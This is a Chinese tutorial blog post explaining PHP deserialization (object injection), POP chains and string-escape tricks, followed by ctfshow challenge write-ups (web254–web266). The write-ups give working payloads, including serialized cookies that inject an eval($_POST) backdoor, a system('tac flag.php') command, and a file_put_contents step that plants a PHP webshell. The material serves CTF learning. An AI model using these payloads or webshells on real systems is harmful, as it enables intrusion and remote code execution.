PHP反序列化

news2025/1/13 2:32:02

序列化与反序列化

序列化

反序列是指把对象转换为字符串的过程,便于在内存、文件、数据库中保存、传输,PHP中使用serialize函数进行序列化。

<?php
    class Person{
        public $name="php";
        protected $id;
        private $age;
    }

    $a = new Person();
    $a_seri = serialize($a);
    echo $a_seri;
?>

运行结果为

O:6:"Person":3:{s:4:"name";s:3:"php";s:5:"*id";N;s:11:"Personage";N;}

各个字符的意义:字母O代表Object,a代表array,s代表string,i 表示数字

O:6:"Person":3:{s:4:"name";s:3:"php";s:5:"*id";N;s:11:"Personage";N;}

O代表Object对象,6代表类名(Person)的长度是6,3代表类中的属性有3个。{}内就是类的属性信息,每个属性以分号;结束。

s:4:"name";s:3:"php";

s代表string类型,4代表属性名(name)的长度,name后面是属性值,string类型,数值长度为3,数值为php。若类属性值未初始化,则默认值为null。

类的属性有三种 publicprotectedprivate

PHP 序列化的时候 privateprotected 变量会引入不可见字符%00%00类名%00属性名 为private,%00*%00属性名 为protected,注意这两个 %00就是 ascii 码为0 的字符。这个字符显示和输出可能看不到,甚至导致截断,但是url编码后就可以看得清楚

O:6:%22Person%22:3:%7Bs:4:%22name%22;s:3:%22php%22;s:5:%22%20*%20id%22;N;s:11:%22%20Person%20age%22;N;%7D

反序列化

序列化的逆过程,将字符串恢复成对象( 恢复成对象—>自动调用加载类函数),PHP中使用unserialize函数完成反序列化的操作

需要注意的是unserialize函数只能反序列化在当前程序上下文中已经被定义过的类,或者autoLoad自动加载机制可加载的类

    $a_seri_unseri = unserialize($a_seri);
    print_r($a_seri_unseri);

运行结果

Person Object
(
    [name] => php
    [id:protected] => 
    [age:Person:private] => 
)

序列化和反序列化的实际用途

主要用于对象的传输

在这里插入图片描述

魔术方法和常量

PHP中把以下两个下划线__开头的方法称为魔术方法

  • __construct,类的构造函数
  • __destruct(),类的析构函数
  • __call(),在对象中调用一个不可访问方法时调用
  • __callStatic(),用静态方式中调用一个不可访问方法时调用
  • __get(),获得一个类的成员变量时调用
  • __set(),设置一个类的成员变量时调用
  • __isset(),当对不可访问属性调用isset()empty()时调用
  • __unset(),当对不可访问属性调用unset()时被调用。
  • __sleep(),执行serialize()时,先会调用这个函数
  • __wakeup(),执行unserialize()时,先会调用这个函数
  • __toString(),类被当成字符串时的回应方法
  • __invoke(),调用函数的方式调用一个对象时的回应方法
  • __set_state(),调用var_export()导出类时,此静态方法会被调用。
  • __clone(),当对象复制完成时调用

PHP中的常量大部分都是不变的,但是有8个常量会随着他们所在代码位置的变化而变化,这8个常量被称为魔术常量。

  • __LINE__,文件中的当前行号
  • __FILE__,文件的完整路径和文件名
  • __DIR__,文件所在的目录
  • __FUNCTION__,函数名称
  • __CLASS__,类的名称
  • __TRAIT__,Trait的名字
  • __METHOD__,类的方法名
  • __NAMESPACE__,当前命名空间的名称

可以利用序列化与反序列化,重新构造类对象的属性进行攻击。

php反序列化漏洞,又称PHP对象注入

漏洞利用条件

(1)unserialize参数用户可控,即程序没有对反序列化的值进行有效的限制,导致反序列化的对象可被用户控制。

(2)存在可被恶意利用的类,类中定义了可利用的__wakeup方法或者__destruct方法,如__destruct中使用了assert函数,且参数用户可控。

其危害性主要取决于魔方函数做的操作

(3)对象可被反序列化,即在调用unserialize方法时,当前程序上下文中相应类被定义,或者类可被autoLoad自动加载机制加载

POP链

POP 面向属性编程(Property-Oriented Programing) 常用于上层语言构造特定调用链的方法,与二进制利用中的面向返回编程(Return-Oriented Programing)的原理相似,都是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链,最终达到攻击者邪恶的目的

说的再具体一点就是 ROP 是通过栈溢出实现控制指令的执行流程,而我们的反序列化是通过控制对象的属性从而实现控制程序的执行流程,进而达成利用本身无害的代码进行有害操作的目的。

反序列化的常见起点

__wakeup当使用unserialize()时,会先调用这个函数,可用于做些对象的初始化操作

__destruct明确销毁对象或脚本结束时被调用

__toString 当一个对象被反序列化后又被当做字符串使用

反序列化的常见中间跳板

__toString 当一个对象被当做字符串使用

__get 读取不可访问或不存在属性时被调用

__set 当给不可访问或不存在属性赋值时被调用

__isset 当对不可访问属性调用isset()empty()时调用

反序列化的常见终点

call_user_func(callable $callback, mixed ...$args)
把第一个参数作为回调函数使用
第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数
callback 将被调用的回调函数
agrs 0个或以上的参数,被传入回调函数
call_user_func_array(callable $callback, array $args)
call_user_func_array — 调用回调函数,并把一个数组参数作为回调函数的参数
把第一个参数作为回调函数(callback)调用,把参数数组作(args)为回调函数的的参数传入。
callback 被调用的回调函数
args 要被传入回调函数的数组,这个数组得是索引数组

__class调用不可访问或不存在的方法时被调用

pop链是常见的反序列化的利用手段,

PHP中反序列化字符逃逸

当开发者使用先将对象序列化,然后将对象中的字符进行过滤,最后再进行反序列化。这个时候就有可能会产生PHP反序列化字符逃逸的漏洞。

对于PHP反序列字符逃逸,我们分为以下两种情况进行讨论。

  • 过滤后字符变多
  • 过滤后字符变少

过滤后字符变多

假设我们先定义一个user类,然后里面一共有3个成员变量:usernamepasswordisVIP

<?php
class user{
    public $username;
    public $password;
    public $isVIP;

    public function __construct($u,$p) {
        $this->username = $u;
        $this->password = $p;
        $this->isVIP = 0;
    }
}
?>

可以看到当这个类被初始化的时候,isVIP变量默认是0,并且不受初始化传入的参数影响。

接下来把完整代码贴出来,便于我们分析。

<?php
class user{
    public $username;
    public $password;
    public $isVIP;

    public function __construct($u,$p) {
        $this->username = $u;
        $this->password = $p;
        $this->isVIP = 0;
    }
}

$a = new user('admin','1234546');
$a_seri = serialize($a);
echo $a_seri;
?>

这一段程序的输出结果如下:

O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:7:"1234546";s:5:"isVIP";i:0;}

可以看到,对象序列化之后的isVIP变量是0

这个时候我们增加一个函数,用于对admin字符进行替换,将admin替换为hacker,替换函数如下:

function filter($s) {
    return str_replace("admin","hacker",$s);
}

因此整段程序如下:

<?php
class user{
    public $username;
    public $password;
    public $isVIP;

    public function __construct($u,$p) {
        $this->username = $u;
        $this->password = $p;
        $this->isVIP = 0;
    }
}

function filter($s) {
    return str_replace("admin","hacker",$s);
}

$a = new user('admin','1234546');
$a_seri = serialize($a);
$a_seri_filter = filter($a_seri);
echo $a_seri_filter;


?>

这一段程序的输出为:

O:4:"user":3:{s:8:"username";s:5:"hacker";s:8:"password";s:7:"1234546";s:5:"isVIP";i:0;}

这个时候我们把这两个程序的输出拿出来对比一下:

O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}  //未过滤

O:4:"user":3:{s:8:"username";s:5:"hacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}  //已过滤

可以看到已过滤字符串中的hacker与前面的字符长度不对应了

s:5:"admin";

s:5:"hacker";

在这个时候,对于我们,在新建对象的时候,传入的admin就是我们的可控变量

接下来明确我们的目标:将isVIP变量的值修改为1

首先我们将我们的现有子串目标子串进行对比:

";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}  //现有子串

";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}  //目标子串

也就是说,我们要在admin这个可控变量的位置,注入我们的目标子串

首先计算我们需要注入的目标子串的长度

";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}
//以上字符串的长度为47

因为我们需要逃逸的字符串长度为47,并且admin每次过滤之后都会变成hacker,也就是说每出现一次admin,就会多1个字符。

因此我们在可控变量处,重复47admin,然后加上我们逃逸后的目标子串,可控变量修改如下:

adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}

完整代码如下:

<?php
class user{
    public $username;
    public $password;
    public $isVIP;

    public function __construct($u,$p) {
        $this->username = $u;
        $this->password = $p;
        $this->isVIP = 0;
    }
}

function filter($s) {
    return str_replace("admin","hacker",$s);
}

$a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}','1234546');
$a_seri = serialize($a);
$a_seri_filter = filter($a_seri);
echo $a_seri_filter;

?>

程序输出结果为:

O:4:"user":3:{s:8:"username";s:282:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:8:"password";s:7:"1234546";s:5:"isVIP";i:0;}

我们可以数一下hacker的数量,一共是47hacker,共282个字符,正好与前面282相对应。

后面的注入子串也正好完成了逃逸。

反序列化后,多余的子串会被抛弃

我们接着将这个序列化结果反序列化,然后将其输出,完整代码如下:

<?php
class user{
    public $username;
    public $password;
    public $isVIP;

    public function __construct($u,$p) {
        $this->username = $u;
        $this->password = $p;
        $this->isVIP = 0;
    }
}

function filter($s) {
    return str_replace("admin","hacker",$s);
}

$a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}','1234546');
$a_seri = serialize($a);
$a_seri_filter = filter($a_seri);
$a_seri_filter_unseri = unserialize($a_seri_filter);

var_dump($a_seri_filter_unseri);

?>

程序输出如下:

object(user)#2 (3) {
  ["username"]=>
  string(282) "hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker"
  ["password"]=>
  string(6) "123456"
  ["isVIP"]=>
  int(1)
}

可以看到这个时候,isVIP这个变量就变成了1,反序列化字符逃逸的目的也就达到了。

过滤后字符变少

上面描述了PHP反序列化字符逃逸中字符变多的情况。

以下开始解释反序列化字符逃逸变少的情况。

首先,和上面的主体代码还是一样,还是同一个class,与之有区别的是过滤函数中,我们将hacker修改为hack。

完整代码如下:

<?php
class user{
    public $username;
    public $password;
    public $isVIP;

    public function __construct($u,$p) {
        $this->username = $u;
        $this->password = $p;
        $this->isVIP = 0;
    }
}

function filter($s) {
    return str_replace("admin","hack",$s);
}

$a = new user('admin','1234546');
$a_seri = serialize($a);
$a_seri_filter = filter($a_seri);
echo $a_seri_filter;


?>

得到结果:

O:4:"user":3:{s:8:"username";s:5:"hack";s:8:"password";s:7:"1234546";s:5:"isVIP";i:0;}

同样比较一下现有子串目标子串

";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}  //现有子串

";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}  //目标子串

因为过滤的时候,将5个字符删减为了4个,所以和上面字符变多的情况相反,随着加入的admin的数量增多,现有子串后面会缩进来。

计算一下目标子串的长度:

";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}  //目标子串

//长度为47

再计算一下到下一个可控变量的字符串长度:

";s:8:"password";s:6:"

//长度为22

因为每次过滤的时候都会少1个字符,因此我们先将admin字符重复22遍(这里的22遍不像字符变多的逃逸情况精确,后面可能会需要做调整)

完整代码如下:(这里的变量里一共有22个admin

<?php
class user{
    public $username;
    public $password;
    public $isVIP;

    public function __construct($u,$p) {
        $this->username = $u;
        $this->password = $p;
        $this->isVIP = 0;
    }
}

function filter($s) {
    return str_replace("admin","hack",$s);
}

$a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin','1234546');
$a_seri = serialize($a);
$a_seri_filter = filter($a_seri);
echo $a_seri_filter;

?>

输出结果:

**注意:**PHP反序列化的机制是,比如如果前面是规定了有10个字符,但是只读到了9个就到了双引号,这个时候PHP会把双引号当做第10个字符,也就是说不根据双引号判断一个字符串是否已经结束,而是根据前面规定的数量来读取字符串。

O:4:"user":3:{s:8:"username";s:105:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:7:"1234546";s:5:"isVIP";i:0;}

这里我们需要仔细看一下s后面是105,也就是说我们需要读取到105个字符。从第一个引号开始,105个字符如下:

hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:6:

在这里插入图片描述

也就是说123456这个地方成为了我们的可控变量,在123456可控变量的位置中添加我们的目标子串

";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}  //目标子串

完整代码为:

<?php
class user{
    public $username;
    public $password;
    public $isVIP;

    public function __construct($u,$p) {
        $this->username = $u;
        $this->password = $p;
        $this->isVIP = 0;
    }
}

function filter($s) {
    return str_replace("admin","hack",$s);
}

$a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin','";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}');
$a_seri = serialize($a);
$a_seri_filter = filter($a_seri);
echo $a_seri_filter;

?>

输出:

O:4:"user":3:{s:8:"username";s:105:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:"";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:5:"isVIP";i:0;}

仔细观察这一串字符串可以看到紫色方框内一共107个字符,但是前面只有显示105

在这里插入图片描述

造成这种现象的原因是:替换之前我们目标子串的位置是123456,一共6个字符,替换之后我们的目标子串显然超过10个字符,所以会造成计算得到的payload不准确

解决办法是:多添加2admin,这样就可以补上缺少的字符。

修改后代码如下:

<?php
class user{
    public $username;
    public $password;
    public $isVIP;

    public function __construct($u,$p) {
        $this->username = $u;
        $this->password = $p;
        $this->isVIP = 0;
    }
}

function filter($s) {
    return str_replace("admin","hack",$s);
}

$a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin','";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}');
$a_seri = serialize($a);
$a_seri_filter = filter($a_seri);
echo $a_seri_filter;


?>

输出结果为:

O:4:"user":3:{s:8:"username";s:115:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:"";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:5:"isVIP";i:0;}

分析一下输出结果:

在这里插入图片描述

可以看到,这一下就对了。

我们将对象反序列化然后输出,代码如下:

<?php
class user{
    public $username;
    public $password;
    public $isVIP;

    public function __construct($u,$p) {
        $this->username = $u;
        $this->password = $p;
        $this->isVIP = 0;
    }
}

function filter($s) {
    return str_replace("admin","hack",$s);
}

$a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin','";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}');
$a_seri = serialize($a);
$a_seri_filter = filter($a_seri);

$a_seri_filter_unseri = unserialize($a_seri_filter);

var_dump($a_seri_filter_unseri);


?>

得到结果:

object(user)#2 (3) {
  ["username"]=>
  string(115) "hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:""
  ["password"]=>
  string(6) "123456"
  ["isVIP"]=>
  int(1)
}

可以看到,这个时候isVIP的值也为1,也就达到了我们反序列化字符逃逸的目的了

字符逃逸是这个PHP中文网的一个大佬写的,怕不见了 提前保存,真的很经典!!

深入了解PHP中反序列化字符逃逸的原理-php教程-PHP中文网

ctfshow上的反序列化

web254

<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        if($this->username===$u&&$this->password===$p){
            $this->isVip=true;
        }
        return $this->isVip;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = new ctfShowUser();
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}
?>

解题思路:vipOneKeyGetFlag()函数可以输出 flag ,条件是,使得$this->isVip为真。再看login()函数,传入参数$u$p,使得$this->username===$u&&$this->password===$p

得知public $username='xxxxxx'; public $password='xxxxxx';,所以payload就是?username=xxxxxx&password=xxxxxx

web255

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

解题思路:与web254相比,多了一个COOKIE传参而且将其进行了反序列化,所以将传入的Cookie参数需要进行序列化。并且ctfShowUser类中没有可以改变$isVip为 ture 的方法。所以重新构造一个ctfShowUser类将$isVip的值赋值为ture

<?php
class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=true;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}

echo urlencode(serialize(new ctfshowUser()))
?>

输出经URL编码的Cookie值为O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

两个参数$u$p的值还是为xxxxxx

web256

<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            if($this->username!==$this->password){
                    echo "your flag is ".$flag;
              }
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

解题思路:要求传入的参数和ctfShowUser类中的属性相同,且两个类属性username和password不相同。

注意:序列化和反序列化可以构造类中的属性

<?php
class ctfShowUser{
    public $username='x';
    public $password='y';
    public $isVip=true;
}

echo urlencode(serialize(new ctfShowUser()));

?>

这里构造:$username的值为x$password的值为y$isVip的值为true

构造:?username=x&password=y,Cookie传入

O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A1%3A%22x%22%3Bs%3A8%3A%22password%22%3Bs%3A1%3A%22y%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

web257

<?php
    error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = 'info';

    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    private $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    private $code;
    public function getInfo(){
        eval($this->code);
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);
    $user->login($username,$password);
}
?>

解题思路:没有输出flag的代码,但是有一个后面函数backdoor(),其中又调用eval()函数该函数将用户传入的参数当作代码执行。

反序列化的宗旨:不能修改类中的方法,但是可以控制类的属性,也可以修改一些魔术方法

ctfShowUser类中的构造方法进行修改__construct()函数,new dockDoor()并将backDoor类中的内容进行修改,并进行POST传参。

<?php
class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = 'info';
 
    public function __construct(){
        $this->class=new backDoor();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }
 
}
 
class backDoor{
   	private $code='eval($_POST[value]);';
    public function getInfo(){
        eval($this->code);
    }
}

echo urlencode(serialize(new ctfShowUser()));

?>

web258

<?php
error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
    public $class = 'info';

    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    public $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    public $code;
    public function getInfo(){
        eval($this->code);
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
        $user = unserialize($_COOKIE['user']);
    }
    $user->login($username,$password);
}
?>

和web257相比,增加了正则表达式,在O:11之间加上+也可以执行。(源码可查询)

构造,反序列化

<?php
class ctfShowUser{
    public $class;
    public function __construct(){
        $this->class=new backDoor();
    }
}

class backDoor{
    public $code='eval($_POST[value]);';
}

$a = serialize(new ctfShowUser);
echo $a;
echo "\n";
$b = str_replace(':11',':+11',$a);
$c = str_replace(':8',':+8',$b);
echo $c;
echo "\n";
echo urlencode($c);
?>

Cookie构造O%3A%2B11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A20%3A%22eval%28%24_POST%5Bvalue%5D%29%3B%22%3B%7D%7D

GET传参usernamepassword任意书写。POST传参value=system('tac flag.php');

web260

<?php

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){
    echo $flag;
}

?>

直接GET传参ctfshow_i_love_36D

因为serialize() 函数用于序列化对象或数组,并返回一个字符串

unserialize() 函数用于将通过 serialize() 函数序列化后的对象或数组进行反序列化,并返回原始的对象结构。

对其他数据类型不会进行序列化

web261

<?php

highlight_file(__FILE__);

class ctfshowvip{
    public $username;
    public $password;
    public $code;

    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
    public function __wakeup(){
        if($this->username!='' || $this->password!=''){
            die('error');
        }
    }
    public function __invoke(){
        eval($this->code);
    }

    public function __sleep(){
        $this->username='';
        $this->password='';
    }
    public function __unserialize($data){
        $this->username=$data['username'];
        $this->password=$data['password'];
        $this->code = $this->username.$this->password;
    }
    public function __destruct(){
        if($this->code==0x36d){
            file_put_contents($this->username, $this->password);
        }
    }
}

unserialize($_GET['vip']);

涉及魔术方法

参考官方文档:PHP: 魔术方法 - Manual

如果类中同时定义了 __unserialize() 和 __wakeup() 两个魔术方法,则只有 __unserialize() 方法会生效,__wakeup() 方法会被忽略。

没有方法可以调用 __invoke()函数,所以从file_put_contents()函数下手

通过file_put_contents()函数构造一句话木马。

可以参考PHP file_put_contents() 函数 | 菜鸟教程 (runoob.com)

构造反序列化

<?php
class ctfshowvip{
    public $username;
    public $password;
    
    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
}

$a = new ctfshowvip('877.php','<?php eval($_POST[value]);?>');
echo serialize($a);

?>

web262

<?php
error_reporting(0);
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    setcookie('msg',base64_encode($umsg));
    echo 'Your message has been sent';
}

highlight_file(__FILE__);
?>

还有一个message.php文件

highlight_file(__FILE__);
include('flag.php');

class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

if(isset($_COOKIE['msg'])){
    $msg = unserialize(base64_decode($_COOKIE['msg']));
    if($msg->token=='admin'){
        echo $flag;
    }
}

使用反序列化字符逃逸(有两种:过滤后字符变多,过滤后字符变少)

等序列化的时候 t 参数的值会变成loveU ,会多一位,原先构造的后边从 双引号 开始的有 27 位,所以我们需要构造 27 个fuck ,等序列化后 多出27位造成后边的字符串逃逸。

构造反序列化

<?php
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

function filter($s){
    return str_replace('fuck','loveU',$s);
}

$a=new message('1','1','fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}');
$a_seri=serialize($a);
echo $a_seri;

echo "\n";

$a_seri_filter=filter($a_seri);
echo $a_seri_filter;

echo "\n";

$a_seri_filter_unseri=unserialize($a_seri_filter);
print_r($a_seri_filter_unseri);

//目标字符 ";s:5:"token";s:4:"admin";}
?>

web264

<?php
error_reporting(0);
session_start();

class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    $_SESSION['msg']=base64_encode($umsg);
    echo 'Your message has been sent';
}

highlight_file(__FILE__);
?>

还有message.php文件

<?php
session_start();
highlight_file(__FILE__);
include('flag.php');

class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

if(isset($_COOKIE['msg'])){
    $msg = unserialize(base64_decode($_SESSION['msg']));
    if($msg->token=='admin'){
        echo $flag;
    }
}
?>

看上去和web262相同,但仔细比较

$_SESSION['msg']=base64_encode($umsg);

if(isset($_COOKIE['msg']))

前面的是 session,而message.php 比较的是 cookie.

所以我们出了传入paylaod,还得构造 cookie,

f=1&m=1&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

web265

error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
    public $token;
    public $password;

    public function __construct($t,$p){
        $this->token=$t;
        $this->password = $p;
    }
    public function login(){
        return $this->token===$this->password;
    }
}

$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());

if($ctfshow->login()){
    echo $flag;
}

考察php按地址传参

给一个样例,相当于C语言指针,地址传值

<?php
    $a='123';
	$b=&$a;
	$b=1;
	echo $a;
?> 

构造反序列化exp

<?php
class ctfshowAdmin{
    public $token;
    public $password;

    public function __construct($t,$p){
        $this->token=$t;
        $this->password=&$this->token;
    }
    public function login(){
        return $this->token===$this->password;
    }
}
$a = new ctfshowAdmin('123','123');

echo serialize($a);

?>

web266

<?php
highlight_file(__FILE__);

include('flag.php');
$cs = file_get_contents('php://input');


class ctfshow{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
    public function login(){
        return $this->username===$this->password;
    }
    public function __toString(){
        return $this->username;
    }
    public function __destruct(){
        global $flag;
        echo $flag;
    }
}
$ctfshowo=@unserialize($cs);
if(preg_match('/ctfshow/', $cs)){
    throw new Exception("Error $ctfshowo",1);
}
?>

当我们序列化的字符串里面如果有ctfshow就会抛出异常,这样就没法触发_destruct魔术方法了,所以得绕过这个正则。

通过大小写进行绕过

构造exp

<?php
class ctfshow{
}
$a=new ctfshow();
echo serialize($a);
?>

使用burp抓包,添加O:7:"Ctfshow":0:{}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/115.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

全排列笔记

14天阅读挑战赛 全排列 题目 给定一个 没有重复 数字的序列&#xff0c;返回其所有可能的全排列。 示例: 输入: [1,2,3] 输出: [ [1,2,3], [1,3,2], [2,1,3], [2,3,1], [3,1,2], [3,2,1] ] 解答 方法一&#xff1a;回溯 思路 从高中的数学知识我们可以知道 从[1,2,3…

如何在Linux上优雅地写代码-Linux生存指南

